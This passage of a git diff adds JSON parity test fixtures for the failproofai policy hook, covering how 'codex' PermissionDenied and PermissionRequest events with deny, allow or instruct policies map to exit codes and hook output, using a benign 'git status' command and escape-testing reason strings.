status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-present__two-policies.json new file mode 100644 index 00000000..4927a7da --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..d56cc32c --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..93eb9bc4 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..116a2364 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4e653915 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..de3b0a74 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..69eb860b --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6fc0f58f --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..1763b031 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..7c4df48d --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..897fa03e --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..68a3a4bb --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..b42b1737 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6e2851f6 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..90e5d5e8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..24c18613 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..9ab8ae21 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..7a1043c3 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": 